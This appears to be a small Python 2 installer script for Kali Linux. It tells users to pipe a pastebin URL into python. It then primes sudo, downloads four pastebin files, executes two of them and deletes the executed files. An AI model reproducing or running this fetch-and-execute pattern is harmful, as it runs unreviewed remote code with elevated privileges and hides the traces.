############################################################ ## To Install type the following into a kali linux com- ## ## mand promt, type your password then wait about 1-15 ## ## seconds until it is installed. ## ############################################################ ## curl https://pastebin.com/raw/Nq5mxHcA | python ## ############################################################ import sys import random import os import urllib2 as http from subprocess import call call(["sudo","echo"," "]) def progress(count,total,status=''): bar_len=60 filled_len = int(round(bar_len * count / float(total))) percents = round(100.0 * count / float(total),1) bar = u'\u2588' * filled_len + '-' * (bar_len - filled_len) sys.stdout.write('[%s] %s%s ...%s\r' % (bar,percents,'%',status)) sys.stdout.flush() files = [ "https://pastebin.com/raw/3EmYbeML,ps-1.py,python,ps", "https://pastebin.com/raw/cVfbqW4f,namea.lua,lua,nps", "https://pastebin.com/raw/Jte88TbW,ps-2.py,python,ps", "https://pastebin.com/raw/0JVQa8yR,namea,bash,nps" ] c = 0 for i in files: c += 1 a = i.split(",") progress(c,len(files),status='Downloading Files...') response = http.urlopen(a[0]) file = open(a[1],"w") file.write(response.read()) file.close() print "\nRunning Package Scripts" c = 0 for i in files: c += 1 a = i.split(",") progress(c,len(files),status='Running Package Scripts...') if (a[3] == "ps"): call([a[2],a[1]]) os.remove(a[1]) print "\nCompleted!"